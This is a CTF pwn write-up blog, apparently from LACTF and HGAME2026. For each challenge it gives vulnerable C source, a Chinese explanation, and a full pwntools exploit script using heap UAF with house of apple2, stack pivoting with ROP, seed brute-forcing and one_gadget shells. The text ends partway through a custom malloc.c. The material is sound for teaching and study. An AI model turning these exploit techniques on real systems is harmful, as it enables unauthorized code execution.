 printf("Student attributes (e.g. undergrad = 1): ");
 scanf("%lu", &sinfo->attributes);
 while ((getchar()) != '\n');
 sinfo->attributes |= HASNOLIFE | ACMCYBER;

 printf("Require space to add aux data (y/n)? ");
 char res = getchar();
 getchar();
 if (res == 'y') {
 printf("Aux data: ");
 read(STDIN_FILENO, sinfo->aux, 0x90);
 }

 s->sinfo = sinfo;
}

void add_student() {

 char* old_top = *((char**)puts + (0x166580/8)) + 0x10;
 struct student *s = ourUKLA[cur_index] = malloc(sizeof(struct student));
 if ((void *)old_top == (void *)s) s->sinfo = NULL;

 s->array_id = cur_index++;
 cur_index %= MAX_STUDENTS;

 printf("Enter student UID: ");
 scanf("%ld", &s->uid);
 while ((getchar()) != '\n');

 printf("Enter student information now (y/n)? You can do it later: ");
 char res = getchar();
 getchar();
 if (res == 'y') fill_student_info(s);

 printf("Student with UID %lu added at index %lu!\n", s->uid, s->array_id);
}

void get_student_info() {

 unsigned long uid;
 printf("Enter student UID: ");
 scanf("%lu", &uid);

 for (int i = 0; i < MAX_STUDENTS; i++) {
 if (ourUKLA[i] == NULL) continue;

 if (ourUKLA[i]->uid == uid) {

 struct student_info *sinfo = ourUKLA[i]->sinfo;
 if (sinfo) {
 puts("STUDENT INFO");
 printf("Student Name: %s\n", sinfo->name);
 printf("Student Major: %s\n", sinfo->major);
 printf("Student Attributes (number): %lu\n", sinfo->attributes);
 }
 return;
 }
 }
}

void remove_student() {

 unsigned long uid;
 printf("Enter student UID: ");
 scanf("%lu", &uid);

 for (int i = 0; i < MAX_STUDENTS; i++) {
 if (ourUKLA[i] == NULL) continue;

 if (ourUKLA[i]->uid == uid) {

 struct student_info *sinfo = ourUKLA[i]->sinfo;
 if (sinfo) {
 free(sinfo->name);
 free(sinfo);
 }
 free(ourUKLA[i]);

 ourUKLA[i] = NULL;
 return;
 }
 }
}

int main() {
 
 init();

 int choice;
 while (1) {
 menu();
 scanf("%d", &choice);
 switch (choice) {
 case 1:
 add_student();
 break;
 case 2:
 get_student_info();
 break;
 case 3:
 remove_student();
 break;
 default:
 puts("cmon you're an administrator don't tell me you don't know how to follow basic instructions!!");
 exit(1);
 };
 }

 return 0;
}

菜单堆题，最多可以持有 10 个 chunk ，但可以无限申请

有关于 student-info 的 UAF

攻击思路

突破口在于 student-info 的 UAF ，当申请一个新的 student 时，若 s_info 不为空，则不重新申请

于是就可以利用这一点，在某个合适 chunk 中写入 leak 出的 _IO_list_all - 0x10 地址，然后把这个 chunk 放入 unsortedbin 中再进行若干次单采 student 使某一次恰好令 s_info = _IO_list_all - 0x10 ，如果此时选择填写 name 的话，刚好可以在 _IO_list_all 的位置上放上 name 指针，这也是一种任意地址写堆地址的原语

然而在达成原语之前需要先 leak heap 和 leak libc ，而 leak 过程会破坏堆的结构，使后续过程难以进行；因此我们可以先 malloc 至没有 freed chunk ，再重新布局

关于布局，核心思路就是：填满目标大小的 tcache ，从而创造出一个 unsortedbin chunk

最后 name 上打 house of apple2 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./chall_patched')
else:
	io = remote('chall.lac.tf', 31147)

libc = ELF('./libc.so.6')

def calc_real_next(next):
	ori = next
	for i in range(4):
		next = ori ^ (next >> 12)
	return next

def fill_student_info(name, major, attributes, yon, aux):
	io.sendafter(b'name: ', name)
	io.sendafter(b'major: ', major)
	
	io.sendlineafter(b'(e.g. undergrad = 1): ', str(attributes).encode())
	if yon:
		io.sendlineafter(b'(y/n)? ', b'y')
		io.sendafter(b'data: ', aux)
	else:
		io.sendlineafter(b'(y/n)? ', b'n')

def add_student(UID, info = False, name = b'', major = b'', attributes = b'', yon = False, aux = b''):
	io.sendlineafter(b'Option > ', b'1')
	io.sendlineafter(b'UID: ', str(UID).encode())
	if info:
		io.sendlineafter(b'later: ', b'y')
		fill_student_info(name, major, attributes, yon, aux)
	else:
		io.sendlineafter(b'later: ', b'n')

def get_student_info(UID):
	io.sendlineafter(b'Option > ', b'2')
	io.sendlineafter(b'UID: ', str(UID).encode())

def remove_student(UID):
	io.sendlineafter(b'Option > ', b'3')
	io.sendlineafter(b'UID: ', str(UID).encode())

def exit_fsop():
	io.sendlineafter(b'Option > ', b'4')

def attack():
	for i in range(10):		# init
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	for i in range(8):
		remove_student(i)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')

	get_student_info(0)		# leak heap
	io.recvuntil(b'Name: A')
	leak_next = u64(io.recv(5).ljust(8, b'\x00'))
	heap = (calc_real_next(leak_next) - 0x1e) * 0x100
	log.info(f'heap = {hex(heap)}')

	add_student(7)		# leak libc
	get_student_info(7)
	io.recvuntil(b'Name: ')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1e6c20
	log.info(f'libc = {hex(libc.address)}')
	fsop = libc.symbols['_IO_list_all'] - 0x10

	add_student(8)		# fix
	add_student(9)
	for i in range(14):
		add_student(i % 10)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	
	for i in range(7):		# init
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	payload = b'A' * 0x10 + p64(fsop)
	add_student(7, True, b'A', payload, b'A', True, b'A')
	add_student(8, True, b'A', b'A', b'A', True, b'A')
	add_student(9, True, b'A', b'A', b'A', True, b'A')
	for i in range(8):
		remove_student(i)
	for i in range(7):
		add_student(i, True, b'A', b'A', b'A', True, b'A')
	add_student(7)
	add_student(8)
	
	fake_io_base = heap + 0x40b0		# house of apple2
	fake_io = flat({
			0x0: b" sh;",
			0x28: 1,
			0x68: libc.sym['system'],
			0x88: fake_io_base + 0x1000,
			0xA0: fake_io_base,
			0xD8: libc.sym['_IO_wfile_jumps'],
			0xE0: fake_io_base
		},
		filler=b"\x00"
	)
	add_student(9, True, fake_io, b'A', b'A', True, b'A')
	
	exit_fsop()
	io.interactive()

attack()

adventure

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/LACTF/adventure/chall'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void);

#define BOARD_SIZE 16
#define MAX_MOVES 300
#define INPUT_SIZE 8
#define NUM_ITEMS 8

char history[MAX_MOVES][INPUT_SIZE];
int move_count = 0;

int player_x = 0;
int player_y = 0;

const char *last_item = "None";

int board[BOARD_SIZE][BOARD_SIZE];

const char *item_names[] = {
 "Sword",
 "Shield",
 "Potion",
 "Key",
 "Scroll",
 "Amulet",
 "Crown",
 "Flag"
};

const char item_symbols[] = {
 'S', 'H', 'P', 'K', 'L', 'A', 'C', 'F'
};

int inventory[NUM_ITEMS] = {0};

void print_banner(void) {
 puts("");
 puts(" ╔═══════════════════════════════════════════╗");
 puts(" ║ ⚔️ ADVENTURE IN THE DARK MAZE ⚔️ ║");
 puts(" ║ ~ A Quest for Glory ~ ║");
 puts(" ╚═══════════════════════════════════════════╝");
 puts("");
 puts(" In the ancient dungeon of the Forgotten Realm,");
 puts(" treasures await the brave adventurer...");
 puts("");
}

void print_help(void) {
 puts("");
 puts(" ┌─────────── COMMANDS ───────────┐");
 puts(" │ n/s/e/w - Move North/South/ │");
 puts(" │ East/West │");
 puts(" │ look - Look around │");
 puts(" │ inv - Check inventory │");
 puts(" │ grab - Pick up item │");
 puts(" │ help - Show this help │");
 puts(" │ quit - Leave the dungeon │");
 puts(" └────────────────────────────────┘");
 puts("");
}

void print_inventory(void) {
 puts("");
 puts(" ╔═════════ INVENTORY ═════════╗");
 int item_count = 0;
 for (int i = 0; i < NUM_ITEMS; i++) {
 if (inventory[i]) {
 printf(" ║ [%c] %-22s ║\n", item_symbols[i], item_names[i]);
 item_count++;
 }
 }
 if (item_count == 0) {
 puts(" ║ (empty) ║");
 }
 puts(" ╠═════════════════════════════╣");
 printf(" ║ %2d,%2d %d/%d %3d/%3d %-6s ║\n",
 player_x, player_y, item_count, NUM_ITEMS, move_count, MAX_MOVES, last_item);
 puts(" ╚═════════════════════════════╝");
 puts("");
}

void look_around(void) {
 puts("");
 puts(" ~~ You peer into the darkness ~~");
 printf(" You stand at position (%d, %d).\n", player_x, player_y);

 if (board[player_y][player_x] > 0) {
 int item_idx = board[player_y][player_x] - 1;
 printf(" A glimmering %s lies at your feet!\n", item_names[item_idx]);
 } else {
 puts(" The cold stone floor is bare.");
 }
 puts("");
}

void check_flag_password(void) {
 char password[0020];
 puts("");
 puts(" ╔═══════════════════════════════════════╗");
 puts(" ║ The sacred Flag pulses with power! ║");
 puts(" ║ Speak the ancient password to ║");
 puts(" ║ unlock its secrets... ║");
 puts(" ╚═══════════════════════════════════════╝");
 puts("");
 printf(" Password: ");
 fflush(stdout);

 if (fgets(password, 0x20, stdin) == NULL) {
 return;
 }
 password[strcspn(password, "\n")] = 0;

 if (strcmp(password, "easter_egg") == 0) {
 puts("");
 puts(" *** CONGRATULATIONS! ***");
 puts(" The Flag's magic flows through you!");
 puts(" You have conquered the dungeon!");
 puts("");
 } else {
 puts("");
 puts(" The Flag rejects your words...");
 puts(" But you keep it anyway.");
 puts("");
 }
}

void grab_item(void) {
 if (board[player_y][player_x] == 0) {
 puts(" There is nothing here to grab.");
 return;
 }

 int item_idx = board[player_y][player_x] - 1;
 printf(" You pick up the %s!\n", item_names[item_idx]);
 inventory[item_idx] = 1;
 board[player_y][player_x] = 0;
 last_item = item_names[item_idx];

 if (item_idx == 7) {
 check_flag_password();
 }
}

void move_player(int dx, int dy) {
 int new_x = player_x + dx;
 int new_y = player_y + dy;

 if (new_x < 0 || new_x >= BOARD_SIZE || new_y < 0 || new_y >= BOARD_SIZE) {
 puts(" You bump into a cold stone wall.");
 return;
 }

 player_x = new_x;
 player_y = new_y;

 const char *directions[] = {"north", "south", "east", "west"};
 int dir_idx = (dy == -1) ? 0 : (dy == 1) ? 1 : (dx == 1) ? 2 : 3;
 printf(" You venture %s...\n", directions[dir_idx]);

 if (board[player_y][player_x] > 0) {
 int item_idx = board[player_y][player_x] - 1;
 printf(" You spot a %s here!\n", item_names[item_idx]);
 }
}

void init_board(void) {
 memset(board, 0, sizeof(board));

 unsigned long addr = (unsigned long)main;
 unsigned char *bytes = (unsigned char *)&addr;

 for (int i = NUM_ITEMS - 1; i >= 0; i--) {
 int x = (bytes[i] >> 4) & 0x0F;
 int y = bytes[i] & 0x0F;

 while (board[y][x] != 0) {
 x = (x + 1) % BOARD_SIZE;
 if (x == 0) y = (y + 1) % BOARD_SIZE;
 }

 board[y][x] = i + 1;
 }
}

int main(void) {
 char input[INPUT_SIZE];

 setbuf(stdout, NULL);
 setbuf(stdin, NULL);

 print_banner();
 init_board();
 print_help();

 while (move_count < MAX_MOVES) {
 printf("> ");
 fflush(stdout);

 if (fgets(input, sizeof(input), stdin) == NULL) {
 break;
 }

 input[strcspn(input, "\n")] = 0;
 strncpy(history[move_count], input, INPUT_SIZE - 1);
 history[move_count][INPUT_SIZE - 1] = '\0';
 move_count++;

 if (strcmp(input, "n") == 0) {
 move_player(0, -1);
 } else if (strcmp(input, "s") == 0) {
 move_player(0, 1);
 } else if (strcmp(input, "e") == 0) {
 move_player(1, 0);
 } else if (strcmp(input, "w") == 0) {
 move_player(-1, 0);
 } else if (strcmp(input, "look") == 0) {
 look_around();
 } else if (strcmp(input, "inv") == 0) {
 print_inventory();
 } else if (strcmp(input, "grab") == 0) {
 grab_item();
 } else if (strcmp(input, "help") == 0) {
 print_help();
 } else if (strcmp(input, "quit") == 0) {
 puts("");
 puts(" You flee the dungeon in fear...");
 puts(" Perhaps another day, brave adventurer.");
 puts("");
 break;
 } else if (strlen(input) > 0) {
 puts(" Unknown command. Type 'help' for options.");
 }

 if (move_count % 25 == 0 && move_count < MAX_MOVES) {
 printf(" [%d moves remaining...]\n", MAX_MOVES - move_count);
 }
 }

 if (move_count >= MAX_MOVES) {
 puts("");
 puts(" ════════════════════════════════════");
 puts(" The dungeon's magic forces you out!");
 puts(" You have exhausted your journey...");
 puts(" ════════════════════════════════════");
 puts("");
 }

 return 0;
}

棋盘游戏，发现 main 的地址通过棋盘上 item 的坐标信息给出，可以泄露 PIE

check_flag_password 有栈溢出，溢出 0x10 字节

history 里面可以布置 ropchain 从而达成栈迁移

攻击思路

leak pie 之后在 history 上布置 ropchain ，通过 check_flag_password 的栈溢出把栈迁移到 history 上跑 ropchain 去 leak libc 顺便 reread

然后 reread 的时候写入 onegadget 就行了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './chall_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

libcoffsetdict = {}
libcrealdict = {}

def libcdict_add(name, addr):
 if addr > 0x1000000:
 libcrealdict[name] = addr
 addr %= 0x1000
 libcoffsetdict[name] = addr

def getlibc():
 global libc
 if not debug:
 libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))

def initlibc():
 if not debug:
 subprocess.run(['cp', libc.path, './libc.so.6'])
 subprocess.run(['pwninit', '--no-template'])

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

def peek(num=4096):
 message = p.recv(num)
 p.unrecv(message)
 return message

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
ur = lambda x :p.unrecv(x)
pk = lambda num=4096 :peek(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))

item = {
 b'Sword': 0,
 b'Shield': 1,
 b'Potion': 2,
 b'Key': 3,
 b'Scroll': 4,
 b'Amulet': 5,
 b'Crown': 6,
 b'Flag': 7
}

nowx, nowy = 0, 0
main_leak = 0
pie_leak = 0

def move(way):
 global nowx, nowy 
 if way == b'e':
 nowx += 1
 elif way == b'w':
 nowx -= 1
 elif way == b's':
 nowy += 1
 elif way == b'n':
 nowy -= 1
 sla(b'> ', way)

def move_check(way):
 global main_leak
 gotit = b''
 move(way)
 rl()
 if (pk(1) != b'>'):
 r(2)
 if r(1) == b'[':
 return
 ru(b'spot a ')
 gotit = ru(b' ')[:-1]
 if (item[gotit] <= 5):
 main_leak |= (nowx << 4 | nowy) << (8 * item[gotit])

def grab(pwd):
 sla(b'> ', b'grab')
 sa(b'Password: ', pwd[:-1])

def write(data):
 while data:
 sla(b'> ', data[:6])
 data = data[0x8:]

def attack():
 global pie_leak
 for i in range(0x8):
 for _ in range(0x10 - 1):
 move_check(b'e')
 move_check(b's')
 for _ in range(0x10 - 1):
 move_check(b'w')
 if (i < 0x7):
 move_check(b's')
 pie_leak = main_leak - 0x1adf
 leak('pie_leak')

 for _ in range(0x10 - 1):
 move(b'n')
 
 leave_ret = pie_leak + 0x172F
 rw_addr = pie_leak + 0x4910 # history
 reread = pie_leak + 0x164D
 rop_leak_chain = flat([
 rw_addr + 0x20,
 pie_leak + 0x1480, # leak with printf
 0,
 pie_leak + 0x3F98, # last_item leak puts
 rw_addr + 0x38,
 reread
 ])
 write(rop_leak_chain)
 payload = b'A' * 0x10 + p64(rw_addr) + p64(leave_ret)
 grab(payload)
 libc.address = uru64() - libc.sym['puts']
 leak('libc.address')

 xor_rax_ret = libc.address + 0xc75e9
 pop_rbp_ret = pie_leak + 0x1233
 one_gadget = libc.address + 0xef52b
 rop_break_chain = flat([
 xor_rax_ret,
 pop_rbp_ret,
 pie_leak + 0x6000,
 one_gadget
 ])
 sl(rop_break_chain)
 itr()

attack()

# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

# 0x00000000000c75e9: xor rax, rax; ret;

the_time_war

checksec

1
2
3
4
5
6
7


[*] '/home/RatherHard/CTF-pwn/LACTF/the_time_war/pwn_the_time_war'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: PIE enabled
 Stripped: No

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void run();

void init() {
 setbuf(stdout, NULL);
 srand(clock_gettime);
}

void run() {
 short code[4];
 for (int i = 0; i < 4; i ++) {
 code[i] = rand() % 16;
 }
 printf("You see a locked box. The dial on the lock reads: %d-%d-%d-%d\n", code[0], code[1], code[2], code[3]);
 printf("Which dial do you want to turn? ");
 short ind1, val1, ind2, val2;
 if (scanf("%hd", &ind1) <= 0) {
 return;
 }
 printf("What do you want to set it to? ");
 scanf("%hd", &val1);
 printf("Second dial to turn? ");
 scanf("%hd", &ind2);
 printf("What do you want to set it to? ");
 scanf("%hd", &val2);
 code[ind1] = val1;
 code[ind2] = val2;
 printf("The box remains locked.\n");
}

int main(void) {
 init();
 run();
 return 0;
}

有两个越界写，可以用来劫持

由于有 pie ，第一次劫持的时候需要去爆 1/16

这题需要打 libc ，由于随机数种子为 clock_gettime 的地址的低 4 字节，我们可以去根据生成的随机数去爆破种子从而 leak libc 的一部分

4 个随机数不够，8 个刚好

最后通过伪造栈帧去打 onegadget 即可，不过会碰到缺 libc 的高 4 字节的问题，这一点可以通过把栈上残留值搬到缺失的位置上来解决，需要利用 scanf 解析失败保留原变量值的特性

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115


from pwn import *
from ctypes import CDLL

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './pwn_the_time_war_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')
glibc = CDLL('libc.so.6')

target = '60.205.163.215'
port = 13774

def conn():
 if debug:
 return process(file)
 else:
 return remote(target, port)

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

p = io = None

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

numslot = []
seed = 0

def change(idx, val):
 sla(b'turn? ', str(idx).encode())
 sla(b'to? ', str(val).encode())

def recvnum():
 ru(b'lock reads: ')
 for _ in range(3):
 numslot.append(int(ru(b'-')[:-1]))
 numslot.append(int(ru(b'\n')[:-1]))

def hijacklow(idx, addr):
 libc_low = seed - 0xcf420 + addr
 change(10, 0x132A)
 change(idx, libc_low & 0xffff)
 change(10, 0x132A)
 change(idx + 1, (libc_low >> 16) & 0xffff)

def attack():
 global p, io, numslot, seed
 while True:
 try:
 p = io = conn()
 numslot.clear()
 recvnum()
 change(10, 0x132A)
 change(28, '+')
 recvnum()
 except:
 p.close()
 continue
 break
 log.info(f'{numslot}')
 for i in range(0, 0x100000):
 seed = i * 0x1000 + 0x420
 glibc.srand(seed)
 judgeslot = [glibc.rand() % 16 for _ in range(8)]
 if judgeslot == numslot:
 numslot.clear()
 log.info(f"Found the correct seed: {hex(seed)}")
 break
 hijacklow(18, 0x319ad)
 hijacklow(26, 0x4c139)
 change(0, 0)
 change(0, 0)
 itr()

attack()

# 0x00000000000319ad: pop rbx; ret;

# 0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x60 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, r12, NULL} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x60 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL

# 0xd515f execve("/bin/sh", rbp-0x40, r13)
# constraints:
# address rbp-0x38 is writable
# rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
# [r13] == NULL || r13 == NULL || r13 is a valid envp

HGAME2026-pwn WriteUp

Tue, 10 Feb 2026 01:38:00 +0000

Heap1sEz

checksec

canary and pie

malloc.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192


#include <malloc.h>
#include <assert.h>
#include <stdio.h>
const int MALLOC_ALIGN_MASK = 2 * (sizeof(INTERNAL_SIZE_T)) -1;
const int SIZE_SZ = (sizeof(INTERNAL_SIZE_T));
void *start = NULL;
hook_t hook = NULL;
struct malloc_state main_arena;
struct malloc_par mp_ = {
 .top_size = TOP_CHUNK_SIZE
};
static void *sysmalloc (INTERNAL_SIZE_T nb, mstate av) __attribute__((noinline));
static void malloc_init_state (mstate av) __attribute__((noinline));
static void unlink_chunk (mchunkptr p) __attribute__((noinline));
void *malloc (size_t bytes){
 INTERNAL_SIZE_T nb;
 INTERNAL_SIZE_T size;
 INTERNAL_SIZE_T remainder_size;

 mchunkptr victim;
 mchunkptr remainder;

 void *p;
 
 nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) < MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) & (~MALLOC_ALIGN_MASK);

 //first request
 if(main_arena.top == NULL){
 malloc_init_state(&main_arena);
 p = sysmalloc(nb, &main_arena);
 return p;
 }

 //unsorted bin
 while ((victim = ((mchunkptr)bin_at(&main_arena, 1))->bk) != bin_at(&main_arena, 1)) {
 size = chunksize(victim);
 /* split */
 if(size >= nb){
 if(size - nb >= MINSIZE){
 remainder_size = size - nb;
 remainder = victim;
 victim = chunk_at_offset(remainder, remainder_size);
 set_head(victim, nb);
 set_inuse(victim);
 set_head_size(remainder, remainder_size);
 set_foot(remainder, remainder_size);
 p = chunk2mem(victim);
 return p;
 }
 else{
 unlink_chunk(victim);
 set_inuse(victim);
 return chunk2mem(victim);
 }
 }
 }
 if(nb > chunksize(main_arena.top) - MINSIZE) TODO();
 /* split */
 else{
 victim = main_arena.top;
 size = chunksize(victim);
 remainder_size = size - nb;
 remainder = chunk_at_offset (victim, nb);
 main_arena.top = remainder;
 set_head (victim, nb | PREV_INUSE);
 set_head (remainder, remainder_size | PREV_INUSE);
 void *p = chunk2mem (victim);
 return p;
 }
 //can't reach here
 assert(0);
 return NULL;
}

void free(void *mem)
{
 mchunkptr p; /* chunk corresponding to mem */
 INTERNAL_SIZE_T size; /* its size */
 mchunkptr nextchunk; /* next contiguous chunk */
 INTERNAL_SIZE_T nextsize; /* its size */
 int nextinuse; /* true if nextchunk is used */
 INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
 mchunkptr bck; /* misc temp for linking */
 mchunkptr fwd; /* misc temp for linking */
 if (__builtin_expect (hook != NULL, 0))
 {
 (*hook)(mem);
 return;
 }
 if(mem == NULL){
 return;
 }
 p = mem2chunk (mem);
 size = chunksize(p);
 nextchunk = chunk_at_offset(p, size);
 nextsize = chunksize(nextchunk);
 /* consolidate backward */
 if (!prev_inuse(p)) {
 prevsize = prev_size (p);
 size += prevsize;
 p = chunk_at_offset(p, -((long) prevsize));
 if (__glibc_unlikely (chunksize(p) != prevsize))
 malloc_printerr ("corrupted size vs. prev_size while consolidating");
 unlink_chunk (p);
 }
 if (nextchunk != main_arena.top) {
 /* get and clear inuse bit */
 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
 /* consolidate forward */
 if (!nextinuse) {
	 unlink_chunk (nextchunk); 
	 size += nextsize;
 } else
	 clear_inuse_bit_at_offset(nextchunk, 0);
 bck = bin_at(&main_arena, 1);
 fwd = bck->fd;
 //if (__glibc_unlikely (fwd->bk != bck))
	//malloc_printerr ("free(): corrupted unsorted chunks");
 p->fd = fwd;
 p->bk = bck;
